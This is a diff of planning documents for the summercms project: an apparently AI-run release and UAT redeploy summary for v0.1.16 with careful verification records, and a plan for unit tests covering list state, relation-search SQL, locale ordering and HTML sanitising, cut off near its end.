+        ref: "Task 2 verify 2: sha256 local == server 46428720c4b53484c146ef22c4c851b78baf9633bfe371f9d4f9314c27ca1ceb; 2 RUNNING; tag on origin -> deploy-ok (re-checked 20:36 UTC)"
+        status: pass
+    human_judgment: false
+  - id: D3
+    description: "Posts 53 and 64 re-rendered by an admin save: no post holds the raw-HTML placeholder, post 64 has its footer"
+    requirement: D-03
+    verification:
+      - kind: other
+        ref: "ssh grzybyfunkcjonalne-uat psql SELECT placeholder count || ':' || post-64 footer count -> 0:1 (20:35 UTC)"
+        status: pass
+    human_judgment: false
+  - id: D4
+    description: "No SQLSTATE 42703 in the Go log since the 19:36:54 UTC restart (the relation search no longer fails on the real categories pivot)"
+    requirement: D-04
+    verification:
+      - kind: other
+        ref: "corrected log check on /var/log/supervisor/grzybyfunkcjonalne-go.log since 2026/10/09 19:36:54 -> 0 (19 lines since restart)"
+        status: pass
+    human_judgment: false
+  - id: D5
+    description: "Human UAT: posts-list search 'cordyceps' returns rows (D-02); list sort and category filter survive open/back, save-and-close and rail navigation and stay in the URL (D-01); an imported post's form shows pl first with title, slug, content and excerpt filled (D-03)"
+    requirement: D-03
+    verification: []
+    human_judgment: true
+    rationale: "Needs a browser session behind UAT basic auth and an admin login, which the executor never holds; the human reported 'all works' but that reply arrived before the re-saves had reached UAT, so these checks are not independently confirmed"
+
+duration: 1h 26m
+completed: 2026-10-09
+status: complete
+---
+
+# Phase 16.1 Plan 02: Release and UAT redeploy Summary
+
+**summercms v0.1.16 is tagged and on origin. The journal plugin and the host are bumped and pushed. UAT runs the new build, and its on-server smoke passed. After the human re-saved posts 53 and 64, read-only checks show their HTML is back and no SQLSTATE 42703 has appeared in the log since the restart.**
+
+## Performance
+
+- **Duration:** 1h 26m wall clock. Most of it was waiting on the three human checkpoints.
+- **Started:** 2026-10-09T19:10:00Z (Task 1 release sheet, approximate)
+- **Completed:** 2026-10-09T20:36:08Z
+- **Tasks:** 3 of 3
+- **Files modified:** 4, all in sibling repositories (`../sm-journal-plugin/go.mod`, plus the host's journal gitlink, `README.md` and `DEPLOY.md`)
+
+## Accomplishments
+
+- **Release gate (Task 1).** The gate printed `release-gate-ok`. The human chose docker-first with tag v0.1.16.
+- **Tag and pushes (Task 2).** Annotated tag `v0.1.16`, tag object `d8e3536b4dce4389cac23c88b42837ee72dc872a`, on `d77393b4d1924ba5fa118faf71ded9a5163d6d5c`. Pushes:
+  - summercms master `e381f2c..d77393b`
+  - sm-journal-plugin main `3d533d4..a675f2f`
+  - host master `87e5353..cac2ee7`
+- **UAT redeploy (Task 2).** The build ran through `scripts/build.sh`.
+  - The sha256 is the same locally and on the server: `46428720c4b53484c146ef22c4c851b78baf9633bfe371f9d4f9314c27ca1ceb`.
+  - `migrate` ran and succeeded.
+  - Both programs were restarted at `RESTART_TS=2026/10/09 19:36:54` (server time, UTC) and are RUNNING.
+  - The on-server smoke printed `smoke: ok (98 urls)`.
+- **UAT data repair (Task 3).** The human re-saved posts 53 and 64 in the admin. The read-only SQL check now prints `0:1`, where it printed `2:0` before the re-saves.
+  - Post 53: `updated_at` 2026-10-09 20:33:53.908 UTC, no placeholder.
+  - Post 64: `updated_at` 20:34:08.100 UTC, no placeholder, footer present.
+- **Relation search on real data (Task 3).** No `SQLSTATE 42703` line has appeared in the Go log since the restart (19 lines checked). The 6 such lines in the file all predate the restart.
+
+## Task Commits
+
+The plan made no code commits in summercms.go. The release is a tag on the existing HEAD `d77393b`.
+
+1. **Task 1: Release gate** (checkpoint:decision, blocking-human): no commit, by design
+2. **Task 2: Tracer: tag, push, bump, build, deploy, on-server smoke:**
+   - summercms tag `v0.1.16` (tag object `d8e3536` on `d77393b`)
+   - sm-journal-plugin `a675f2f` (chore(deps): require summercms v0.1.16)
+   - sm-grzybyfunkcjonalne-app `cac2ee7` (chore: bump journal plugin; admin saves keep imported HTML)
+3. **Task 3: UAT acceptance** (checkpoint:human-action, blocking-human): no commit. The human re-saved posts 53 and 64 in the admin, and the executor ran read-only checks afterwards.
+
+**Plan metadata:** this SUMMARY's docs commit; the STATE and ROADMAP updates are committed separately.
+
+## Release sheet (Task 1, ~19:10 UTC)
+
+- **summercms.go:** master HEAD `d77393b`, working tree clean. `HEAD..origin/master` was empty. No tag contained `06d75cb`. The highest tag was v0.1.15, so v0.1.16 was proposed and was absent on origin.
+- **Gate (`release-gate-ok`):**
+  - `go vet` was clean in both repositories.
+  - `TestListRelationSearchSmoke` and `TestEnabledLocalesDefaultFirstSmoke` passed.
+  - sm-journal-plugin `./classes` passed, and so did `TestDocsTree`.
+  - admin vitest ran 75 files and 1106 tests, all passing.
+  - `check-admin-dist.sh` found no drift, and `check-admin-openapi.sh --check` exited 0.
+- **Commits pushed from summercms.go:** 26 commits, including `06d75cb`, `bd8626e`, `9cac45c` and `c5e03f4` "test(16-05): Phase 16 gate".
+- **Commits pushed from sm-journal-plugin:** `528d2d8`.
+- **Not runnable on this machine** (no Docker socket permission): the Postgres/testcontainers suites in `modules/cabana` and the sm-journal-plugin admin harness.
+- **Hygiene:** `check-phase10.sh --hygiene` reported 5 pre-existing findings, already recorded in `deferred-items.md`.
+- **Human reply, verbatim:** "release v0.1.16, docker passed". This is the docker-first option with `RELEASE_TAG=v0.1.16`.
+
+## Task 2 record (~19:33 UTC)
+
+- **Pre-tag re-checks:** fetch ok, `HEAD..origin/master` empty, v0.1.16 absent on origin, ssh ok.
+- **Tag:** `git ls-remote` shows `d8e3536b4dce4389cac23c88b42837ee72dc872a refs/tags/v0.1.16`.
+- **Pushed heads:**
+  - sm-journal-plugin main: `a675f2f197d04f0a30ff03025ddcc9d2c8a93d54`
+  - host master: `cac2ee72fa0cc64d15488680615489ac62de9c83`. Its journal gitlink is `a675f2f`.
+- **Build and upload:**
+  - `check-deploy.sh` ok, and `build.sh` exited 0.
+  - sha256 of the new binary, the same locally and on the server: `46428720c4b53484c146ef22c4c851b78baf9633bfe371f9d4f9314c27ca1ceb`.
+  - The previous binary is kept as `bin/grzybyfunkcjonalne.prev` (sha256 `94116f4ab576c99a130167bbf0ad9accbece48630747e03b2f9727a6a18d68ea`).
+  - No `.env` was uploaded.
+- **Restart:** `migrate` ok, `RESTART_TS=2026/10/09 19:36:54`, both programs RUNNING.
+- **Smoke:** `smoke: ok (98 urls)`, then `deploy-ok`.
+- **Baseline before the re-saves:** the SQL check printed `2:0`.
+
+## Task 3 record
+
+- **First human reply, verbatim:** "all works".
+  - The read-only follow-up checks still printed `2:0`. Posts 53 and 64 had `updated_at` 17:33:52 UTC, which was also the latest `updated_at` across all posts, and there were no journal-post translation rows. So no save had reached UAT yet.
+  - The log check passed: 0 `SQLSTATE 42703` lines since the restart, out of 18 lines.
+  - No rollback was recommended or performed. A checkpoint was returned.
+- **Second human reply, verbatim:** "resaved, no errors".
+- **Orchestrator re-check:** post 53 at 20:33:53.908 UTC and post 64 at 20:34:08.100 UTC. Neither holds the placeholder, post 64 has its footer, and the check printed `0:1`.
+- **This executor's re-check (20:35 UTC):**
+  - SQL check: printed `0:1`, so `SQL-CHECK-PASS`.
+  - Corrected log check: `LOG-CHECK-PASS`, with 19 lines since the restart and 0 `SQLSTATE 42703`.
+- **End-of-phase human checks** (step 3 of the plan: D-01 list state, D-03 form locales and fields, the post-64 footer on `/blog/ekstrakt-z-turkey-tail`): the human reported them under "all works". That reply came before the re-saves had reached UAT, so they are **recorded as human-reported, not independently confirmed**. They are pending for `/msd-verify-work` (coverage D5).
+
+## Files Created/Modified
+
+- `../sm-journal-plugin/go.mod`: nominal `require git.golem15.com/golem15/summercms v0.1.16`. The replace to `../summercms.go` stays.
+- `../sm-grzybyfunkcjonalne-app/plugins/golem15/journal`: gitlink now points to `a675f2f`.
+- `../sm-grzybyfunkcjonalne-app/README.md`: the warning against editing imported posts in the admin is removed.
+- `../sm-grzybyfunkcjonalne-app/DEPLOY.md`: the section that told admins not to re-save imported posts is removed.
+
+## Decisions Made
+
+- **Tag v0.1.16, docker-first.** The human reported the Docker-host suites passed, then approved the release.
+- **No `en` locale change on UAT.** The framework fix (default locale first) is enough for D-03, as planned under Claude's discretion in CONTEXT.
+- **Rollback was not used.** Every check passed. `bin/grzybyfunkcjonalne.prev` stays on the server.
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 1 - Bug] The plan's Task 3 log check passed even when it could not read the log**
+- **Found during:** Task 3
+- **Issue:** The plan read the log with `sudo supervisorctl tail -65536 grzybyfunkcjonalne-go`. On UAT, supervisor's XML-RPC fails with an ExpatError on the ANSI escape codes in GORM log lines, so no log lines come back. The error text does not contain `SQLSTATE 42703`, so `grep -c ... | grep -qx 0` passed without checking anything.
+- **Fix:** The check now reads the supervisor log file directly. It fails closed when the file is unreadable or does not contain this restart's `client_id`:
+  `ssh grzybyfunkcjonalne-uat 'F=/var/log/supervisor/grzybyfunkcjonalne-go.log; test -r "$F" && grep -q "client_id=alexandria_2026_10_09T19_36_54" "$F" && awk -v since="2026/10/09 19:36:54" "substr(\$0,1,19) >= since" "$F" | grep -c "SQLSTATE 42703"' | grep -qx 0`
+- **Files modified:** none. Only the verification command changed.
+- **Verification:** The check passed, with 19 lines since the restart and 0 matches. The same file holds 6 `SQLSTATE 42703` lines from before the restart, which shows the check can see the failure it looks for.
+- **Committed in:** n/a (verification only)
+
+---
+
+**Total deviations:** 1 auto-fixed (1 bug in a verify command)
+**Impact on plan:** The changed check is stricter than the plan's. There is no scope change.
+
+## Issues Encountered
+
+- The human's first Task 3 reply ("all works") came before any save had reached UAT, since the SQL still printed `2:0`. The executor returned a second checkpoint instead of accepting the reply. After the second reply ("resaved, no errors") the check printed `0:1`.
+- The Docker-backed suites (modules/cabana Postgres tests, the sm-journal-plugin harness) cannot run on this machine. The human ran them on a Docker host before the release, as the docker-first option requires.
+
+## User Setup Required
+
+None. The plan's `user_setup` covered only the human's UAT admin login, which is already done. No USER-SETUP.md was generated: there are no env vars or keys to configure.
+
+## Next Phase Readiness
+
+- Plan 03 (unit tests) can start. Its tests land on master after v0.1.16 and ship with the next tag.
+- `/msd-verify-work 16.1` should confirm coverage D5 on UAT: D-01 list state, D-03 form locales and fields, and the post-64 footer on `/blog/ekstrakt-z-turkey-tail`.
+- Rollback is still available if needed: move `bin/grzybyfunkcjonalne.prev` back and restart `grzybyfunkcjonalne-go`.
+
+---
+*Phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f*
+*Completed: 2026-10-09*
+
+## Self-Check: PASSED
+
+- Tag v0.1.16 is on origin and contains 06d75cb.
+- sm-journal-plugin a675f2f equals origin/main.
+- Host cac2ee7 equals origin/master, and its gitlink is a675f2f.
+- `grep -ci omitted` returns 0 for both README.md and DEPLOY.md.
+- The sha256 is the same locally and on the server, and both programs are RUNNING.
+- The SQL check prints 0:1 and the log check passes.

.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-03-PLAN.md

@@ -0,0 +1,215 @@
+---
+phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
+plan: 03
+type: execute
+wave: 3
+depends_on: ["16.1-01", "16.1-02"]
+files_modified:
+  - admin/tests/form/FormView.test.ts
+  - admin/tests/list/ListView.test.ts
+  - admin/tests/state/listState.test.ts
+  - admin/tests/state/useAuth.test.ts
+  - modules/cabana/query_relation_test.go
+  - modules/cabana/locale_order_test.go
+  - ../sm-journal-plugin/classes/format_html_test.go
+  - ../sm-journal-plugin/posts_admin_smoke_test.go
+  - .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md
+autonomous: true
+requirements: [D-01, D-02, D-03]
+estimate:
+  tokens: 75000
+  raw_tokens: 75000
+  tasks: 3
+  confidence: low
+must_haves:
+  truths:
+    - "CLAUDE.md lean rule 3: every piece of Phase 16.1 code has unit tests in this last plan: the relation subquery builder (search and sort, every relation type, refusals), enabledContentLocales ordering, FormatHTML keep and refuse, the listState helpers, the ListView entry logic, the FormView return paths and logout clearing."
+    - "D-01: a form's back, cancel, save-and-close and delete each land on the list with the stored query in the URL, and the first list request after the return carries it (no list request without it)."
+    - "D-01: ListView restores the stored query before its first list request, lets a URL with list params win and overwrite storage, removes the stored query when the user clears every control (the next entry loads unfiltered), keeps the filters when the same list is opened again from the navigation, drops the stored query on a 422, and moves a restored page beyond last_page to last_page."
+    - "D-01: listState helpers use the summer-admin.list: prefix plus the controller id, drop malformed stored JSON or values (and remove that key), store nothing for an empty query, survive storage that throws, and clearListStates (called by logout) removes list keys but keeps summer-admin.sidebar."
+    - "D-02: DryRun tests prove belongsToMany search goes through the pivot named by the gorm tag, including custom joinForeignKey and joinReferences columns (no naming convention guessed); hasMany and belongsTo correlate on the parsed keys; a self-referencing relation gets distinct aliases; a soft-deleting related model adds deleted_at IS NULL; polymorphic relations and unknown columns answer 422; the search value is bound and LIKE-escaped, never in the SQL text; combined with a ListExtendQuery user_id predicate and a scope filter the count has no outer JOIN; to-many sort orders by string_agg with the primary-key tiebreak in both directions; to-one sort keeps the association join."
+    - "D-03: enabledContentLocales tests cover default not first, already first, default absent, DefaultLocale error (order kept), no writer (nil) and three locales keeping their relative order."
+    - "D-03: FormatHTML tests prove imported HTML round-trips (paragraphs, attributes, markdown with a trailing raw footer and style) and that every unsafe case returns an error now that the gate is the only defence (script, iframe, object, embed, on* attributes in raw HTML including an svg onload, javascript, vbscript and data URLs in links and raw attributes, mixed case)."
+    - "Postgres-backed tests TestListRelationSearchPostgres (exact total when one post matches through two tags) and TestPostsAdminResaveKeepsHTML (an admin update of HTML content keeps content_html) exist, pass go vet, and fail rather than skip without a database outside -short; they run on a Docker host before /msd-verify-work."
+    - "go vet stays clean in summercms.go and sm-journal-plugin; the named pure Go tests, the full vitest suite, TestDocsTree and scripts/check-admin-dist.sh are green; this plan changes tests only, so the embedded dist does not change."
+  artifacts:
+    - path: "admin/tests/state/listState.test.ts"
+      provides: "unit tests of the browser-storage helpers"
+      contains: "clearListStates"
+    - path: "modules/cabana/query_relation_test.go"
+      provides: "DryRun SQL matrix and the Postgres relation-search test"
+      contains: "TestListRelationSQL"
+    - path: "modules/cabana/locale_order_test.go"
+      provides: "default-locale ordering cases"
+      contains: "TestEnabledLocalesDefaultFirst"
+    - path: "../sm-journal-plugin/posts_admin_smoke_test.go"
+      provides: "admin re-save keeps imported HTML (todo journal-imported-html-admin-resave acceptance test)"
+      contains: "TestPostsAdminResaveKeepsHTML"
+  key_links:
+    - from: "admin/tests/form/FormView.test.ts"
+      to: "admin/src/views/ListView.vue entry restore"
+      via: "form back navigation to the bare list path, then the restored query in the URL and the first list request"
+      pattern: "writeListState"
+    - from: "modules/cabana/query_relation_test.go"
+      to: "modules/cabana/query.go applyListSearch and applyListOrder"
+      via: "DryRun db with a recording logger, through service.list and ExecuteList"
+      pattern: "DryRun"
+  prohibitions:
+    - "[FLAGGED-UNVERIFIED] No test may touch the UAT server, the network or a shared database: pure tests use a DryRun db on a DSN that is never dialed, Postgres tests use throwaway testcontainers databases."
+    - "[FLAGGED-UNVERIFIED] Tests must not be weakened to pass: the existing FormatHTML refuse cases stay and become stricter, and no existing ListView, FormView or shell smoke assertion is deleted."
+---
+
+## Phase Goal
+
+ROADMAP Goal (not in user-story format): the Journal posts list and post form in the admin work on real imported data found on UAT (relation search, remembered list state, stored content and excerpt in the form), released and redeployed.
+
+This plan's slice (D-05: "03 unit tests"; CLAUDE.md lean rule 3): full unit coverage of every 16.1 code change, ending the phase. It runs after plan 02 (wave 3) because the release was not to wait for coverage (lean rule 3) and the two plans commit in the same repositories; its commits ship with the next tag.
+
+## Spec-less probe fallback
+
+Visible skip: no REQUIREMENTS.md IDs to probe. The edge cases RESEARCH and plan 01 named (polymorphic, soft-deleting and self-referencing relations, custom join keys, stale or malformed stored state, cleared controls, same-path navigation, out-of-range page, disabled storage, the gate as the only XSS defence) are each authored as a test case in `must_haves.truths`.
+
+## Artifacts this phase produces
+
+- New `admin/tests/state/listState.test.ts`; extended `admin/tests/list/ListView.test.ts`, `admin/tests/form/FormView.test.ts`, `admin/tests/state/useAuth.test.ts`.
+- Extended `modules/cabana/query_relation_test.go` (DryRun matrix, Postgres test) and `modules/cabana/locale_order_test.go`.
+- Extended `../sm-journal-plugin/classes/format_html_test.go` and `../sm-journal-plugin/posts_admin_smoke_test.go`.
+- `16.1-VALIDATION.md` statuses filled with the measured results.
+
+<objective>
+Bring full unit coverage to the Phase 16.1 code (D-01, D-02, D-03) as the phase's last plan, and run the phase gate.
+
+Purpose: the fixes stay fixed: relation subqueries, locale order, lossless HTML and remembered list state are pinned by tests that run without Docker, plus Postgres tests for a Docker host.
+Output: test commits in summercms.go (admin, cabana) and sm-journal-plugin, and a filled VALIDATION.md.
+</objective>
+
+<execution_context>
+@~/.claude/msd-core/workflows/execute-plan.md
+@~/.claude/msd-core/templates/summary.md
+</execution_context>
+
+<context>
+@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-CONTEXT.md
+@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-RESEARCH.md
+@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md
+@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-01-SUMMARY.md
+
+Docker is not usable on this machine: run the pure Go tests by name and count their PASS lines; Postgres-backed tests are written and vetted here and run on a Docker host. Commits: tests only, staged by explicit path, no co-author tags, planning docs (VALIDATION.md) in a separate commit from code. Nothing is pushed or tagged by this plan.
+</context>
+
+<tasks>
+
+<task type="tracer">
+  <name>Task 1: Tracer: list, form, back round trip restores the list query; then full SPA list-state coverage</name>
+  <files>admin/tests/form/FormView.test.ts, admin/tests/list/ListView.test.ts, admin/tests/state/listState.test.ts, admin/tests/state/useAuth.test.ts</files>
+  <read_first>admin/src/state/listState.ts, admin/src/views/ListView.vue, admin/src/views/FormView.vue (go, onLeave, onSaveAndClose, onDelete, redirectTarget), admin/src/state/useAuth.ts (logout), admin/tests/helpers.ts (mountApp, requestsTo, queryOf, resetState), admin/tests/form/FormView.test.ts (routes and form fixtures, router.currentRoute assertions), admin/tests/list/ListView.test.ts (routes, the plan 01 smoke cases), admin/tests/state/useAuth.test.ts, admin/tests/state/useSidebar.test.ts (storage spies that throw), admin/tests/smoke/shell.smoke.test.ts (only the sidebar key after mounting a list), admin/tests/fixtures/typed.ts (form schema redirects)</read_first>
+  <action>Tracer first, in admin/tests/form/FormView.test.ts: seed writeListState for acme.demo.widgets with sort code, dir desc and filter active true; mount /acme/demo/widgets/1 with the form routes plus the list schema and list routes; click the back action; after flushPromises the router fullPath is the list path carrying sort=code, dir=desc and filter[active]=true, and every list GET after the click carries them (none without). Repeat for cancel, save-and-close (when the fixture's close redirect resolves to the list path; otherwise set it so in a cloned schema) and delete (confirm dialog accepted).
+
+admin/tests/state/listState.test.ts (new): the key is the prefix plus the controller id; read of a missing key is empty; read of invalid JSON, a non-object, or an object with non-string values returns empty and removes the key; malformed values (page 0, dir sideways, empty filter value, unknown shapes) are dropped by the strict parser; writing an empty query removes the key; a write and read round-trip keeps search, sort, dir, page above 1, per_page and filters; clearListStates removes every prefixed key and keeps summer-admin.sidebar; with Storage getItem and setItem spied to throw, read returns empty and write and clear do not throw.
+
+admin/tests/list/ListView.test.ts: with a stored query and an empty URL, no list GET without the stored params is made and the first carries them; a URL with params wins and overwrites storage; clearing search, sort and filters through the UI removes the key, and remounting the bare list loads unfiltered; with the list filtered, router.push to the bare list path keeps the filters and makes no unfiltered request; a 422 list response removes the stored key; a response with page above last_page replaces the URL page with last_page and requests that page.
+
+admin/tests/state/useAuth.test.ts: logout removes every summer-admin.list: key and keeps summer-admin.sidebar, also when the logout request fails.
+
+Keep every existing assertion, including the shell smoke expectation that mounting a list without query stores only the sidebar key. Commit in summercms.go, staging exactly the four test files: test(admin): list state round trip and storage coverage.</action>
+  <verify>
+    <automated>npm --prefix admin test -- tests/state/listState.test.ts tests/state/useAuth.test.ts tests/list/ListView.test.ts tests/form/FormView.test.ts tests/smoke</automated>
+    <fails_when>Non-zero exit, a vitest summary line reporting "failed", or "No test files found" in the output.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - The vitest run passes and the summary counts tests in admin/tests/state/listState.test.ts (the file exists and is collected).
+    - `grep -c 'writeListState' admin/tests/form/FormView.test.ts` is at least 1; `grep -c 'clearListStates' admin/tests/state/listState.test.ts` is at least 1; `grep -c 'summer-admin.list:' admin/tests/state/useAuth.test.ts` is at least 1.
+    - `git show --name-only --format= HEAD` lists exactly the four test files.
+  </acceptance_criteria>
+  <done>The list-to-form-to-list round trip and every list-state edge case are pinned by vitest.</done>
+</task>
+
+<task type="auto">
+  <name>Task 2: cabana coverage: DryRun SQL matrix for relation search and sort, locale ordering, Postgres relation search</name>
+  <files>modules/cabana/query_relation_test.go, modules/cabana/locale_order_test.go</files>
+  <read_first>modules/cabana/query.go (the relation subquery builder, applyListSearch, applyListOrder, ExecuteList), modules/cabana/query_relation_test.go (plan 01 harness and fixtures), modules/cabana/locale_order_test.go, modules/cabana/http.go (enabledContentLocales), modules/cabana/ml_smoke_test.go (recordingWriter), modules/cabana/query_test.go (newListService, getList, decodeList, the Postgres fixture setup), modules/cabana/list_schema_test.go (filterFS)</read_first>
+  <action>Extend modules/cabana/query_relation_test.go, reusing the plan 01 DryRun harness (never-dialed DSN, recording logger) and the service helper:
+
+TestListRelationSQL, table-driven, asserting on the recorded SQL and on bound values: belongsToMany search through the pivot with the pivot owner key correlated to the main primary key and the related key joined; a belongsToMany declared with custom joinForeignKey and joinReferences tags and a non-default pivot name uses exactly those columns (proves no naming convention is guessed, D-02); hasMany search correlates the related foreign key to the main primary key; belongsTo search correlates the related primary key to the main foreign key; a self-referencing belongsToMany gets distinct aliases and still correlates to the unaliased main table; a related model with gorm.DeletedAt adds its column IS NULL on the related alias; a polymorphic hasMany and a select column missing from the related schema each answer 422 validation_failed with details.search through getList; a search term containing a quote, a percent sign and an underscore never appears in the SQL text and its bound value is lower-cased and LIKE-escaped; with a controller implementing ListExtendQuery that adds an unqualified user_id predicate and a scope filter adding an unqualified id IN predicate, the recorded count statement has no JOIN outside the subqueries; sort by the belongsToMany column asc and desc orders by the string_agg subquery with the matching direction followed by the main primary-key tiebreak; sort by the belongsTo column keeps the association join and its column order.
+
+Add TestListRelationSearchPostgres (Postgres through newListService's shared container; it fails rather than skips without Docker, like the package's other Postgres tests): migrate the relation fixtures, seed one post with two tags that both match "fungi" and one post with an unrelated tag; search=fungi answers total 1 with only the first post; sort=tags orders by the joined tag names; a hasMany note search returns the right post.
+
+Extend modules/cabana/locale_order_test.go with TestEnabledLocalesDefaultFirst, table-driven: en, pl with default pl gives pl, en; pl, en unchanged; default absent from the list leaves the order; a writer whose DefaultLocale errors (a small test double) leaves the order; no published writer returns nil; en, de, pl with default pl gives pl, en, de.
+
+Commit in summercms.go, staging exactly the two files: test(cabana): relation subquery and locale order coverage.</action>
+  <verify>
+    <automated>go vet ./modules/cabana &amp;&amp; go test -count=1 -run '^(TestListRelationSearchSmoke|TestListRelationSQL|TestEnabledLocalesDefaultFirst|TestEnabledLocalesDefaultFirstSmoke)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 4</automated>
+    <fails_when>Non-zero exit: go vet fails (including on the Postgres test), or fewer than four top-level "--- PASS: Test" lines (a named test failed, does not exist, or was filtered out).</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - Four top-level PASS lines for TestListRelationSearchSmoke, TestListRelationSQL, TestEnabledLocalesDefaultFirst and TestEnabledLocalesDefaultFirstSmoke on a machine without Docker.
+    - `grep -c 'func TestListRelationSearchPostgres' modules/cabana/query_relation_test.go` is 1 and `go vet ./modules/cabana` exits 0.
+    - `grep -c 'joinForeignKey' modules/cabana/query_relation_test.go` is at least 1 (custom pivot keys case present).
+    - `git show --name-only --format= HEAD` lists exactly modules/cabana/query_relation_test.go and modules/cabana/locale_order_test.go.
+  </acceptance_criteria>
+  <done>The relation subquery builder and the locale order are covered by pure tests, with a Postgres test ready for a Docker host.</done>
+</task>
+
+<task type="auto">
+  <name>Task 3: Journal coverage (FormatHTML keep and refuse, admin re-save keeps HTML) and the phase gate</name>
+  <files>../sm-journal-plugin/classes/format_html_test.go, ../sm-journal-plugin/posts_admin_smoke_test.go, .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md</files>
+  <read_first>../sm-journal-plugin/classes/format_html.go, ../sm-journal-plugin/classes/format_html_test.go, ../sm-journal-plugin/classes/check_html_test.go, ../sm-journal-plugin/posts_admin_smoke_test.go, ../sm-journal-plugin/admin_harness_test.go (TestMain, newPostsEnv, admin, expect, adminDecode), ../sm-journal-plugin/controllers/posts.go (preparePostWrite), .planning/todos/pending/journal-imported-html-admin-resave.md (its acceptance test), .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md</read_first>
+  <action>../sm-journal-plugin/classes/format_html_test.go: extend TestFormatHTMLKeepsRawHTML with imported-style bodies: paragraphs, elements with class, https href and https img src attributes, an attribute holding an entity, and markdown followed by raw footer and style elements; each output equals the input after trimming (or, for the markdown case, contains the raw elements unchanged). Make TestFormatHTMLRejectsUnsafeHTML strict: every case must return an error (with unsafe rendering the gate is the only defence), and add raw-HTML cases: an svg element with onload, an anchor whose href is a mixed-case javascript URL, object and embed elements, a script element inside an HTML block, and a raw attribute with a data URL. Keep check_html_test.go unchanged and green.
+
+../sm-journal-plugin/posts_admin_smoke_test.go: add TestPostsAdminResaveKeepsHTML through the admin harness: create a post whose content is two HTML paragraphs, update it through the admin update route with the same content, and assert the stored content_html equals the content after trimming and holds no goldmark placeholder comment; it runs where the harness Postgres runs (TestMain fails closed without Docker outside -short, the house rule).
+
+Commit in ../sm-journal-plugin on main, staging exactly the two test files: test: FormatHTML keep and refuse coverage, admin re-save keeps HTML. Do not push.
+
+Phase gate: run both verify commands and the plan 01 and Task 2 Go commands, then update 16.1-VALIDATION.md: each Per-Task Verification Map status (green, red or manual), wave_0_complete true, nyquist_compliant true only if every automated row is green, and the Docker-host suites and UAT items left as pending manual checks unless already answered. Commit VALIDATION.md separately from code (planning docs commit).</action>
+  <verify>
+    <automated>go -C ../sm-journal-plugin vet ./... &amp;&amp; go -C ../sm-journal-plugin test -count=1 ./classes/ &amp;&amp; go -C ../sm-journal-plugin test -count=1 -run '^(TestFormatHTMLKeepsRawHTML|TestFormatHTMLRejectsUnsafeHTML)$' -v ./classes/ 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 2</automated>
+    <fails_when>Non-zero exit: vet fails (including on TestPostsAdminResaveKeepsHTML), a classes test fails, or fewer than two top-level "--- PASS: Test" lines.</fails_when>
+    <automated>go vet ./... &amp;&amp; go test -count=1 ./cmd/summer -run TestDocsTree &amp;&amp; npm --prefix admin run typecheck &amp;&amp; npm --prefix admin test &amp;&amp; bash scripts/check-admin-dist.sh &amp;&amp; echo phase-16.1-local-gate-ok</automated>
+    <fails_when>Non-zero exit or "phase-16.1-local-gate-ok" absent: vet, the docs checker, the typecheck, any vitest file or the dist drift gate failed.</fails_when>
+    <human-check>On a Docker-enabled machine run go test -count=1 ./... in summercms.go and go -C ../sm-journal-plugin test -count=1 ./... and confirm both are green, including TestListQueryContract, TestListRelationSearchPostgres and TestPostsAdminResaveKeepsHTML. Reply with the two summary lines or the failures.</human-check>
+  </verify>
+  <acceptance_criteria>
+    - Two top-level PASS lines for TestFormatHTMLKeepsRawHTML and TestFormatHTMLRejectsUnsafeHTML; `go -C ../sm-journal-plugin test -count=1 ./classes/` prints ok.
+    - `grep -c 'func TestPostsAdminResaveKeepsHTML' ../sm-journal-plugin/posts_admin_smoke_test.go` is 1 and `go -C ../sm-journal-plugin vet ./...` exits 0.
+    - The phase gate prints phase-16.1-local-gate-ok.
+    - 16.1-VALIDATION.md has no "⬜ pending" status left on an automated row; the frontmatter has wave_0_complete: true.
+    - `git -C ../sm-journal-plugin show --name-only --format= HEAD` lists exactly classes/format_html_test.go and posts_admin_smoke_test.go.
+  </acceptance_criteria>
+  <done>Lossless HTML and the strict gate are pinned, the todo's re-save test exists, the local phase gate is green and VALIDATION.md records the results.</done>
+</task>
+
+</tasks>
+
+<threat_model>
+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| Test runner → databases | Postgres-backed tests create throwaway testcontainers databases |
+| Test results → phase sign-off | a filter that matches nothing or a skipped test can read as green |
+
+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-16.1-11 | Repudiation (false green) | verify commands, VALIDATION.md | medium | mitigate | Every Go gate counts the top-level "--- PASS: Test" lines of the named tests; Postgres tests fail instead of skipping outside -short; VALIDATION.md marks Docker-host suites as manual until a run is recorded; nyquist_compliant is set only when every automated row is green |
+| T-16.1-12 | Tampering / Denial of Service | test fixtures | low | mitigate | Pure tests use a DryRun db with DisableAutomaticPing on a DSN that is never dialed; Postgres tests use throwaway testcontainers databases; no test reaches the UAT server or a shared database |
+| T-16.1-SC | Tampering | packages | high | mitigate | No package is installed: vitest, GORM, the postgres dialector and testcontainers-go are already pinned in package.json and go.mod; go.mod, go.sum and package.json stay unchanged |
+</threat_model>
+
+<verification>
+- Task 1: vitest green with listState.test.ts collected.
+- Task 2: four PASS lines for the named cabana tests; go vet clean.
+- Task 3: two PASS lines for the FormatHTML tests; phase-16.1-local-gate-ok printed; VALIDATION.md filled.
+- Docker-host suites recorded as a human-check for /msd-verify-work.
+</verification>
+
+<success_criteria>
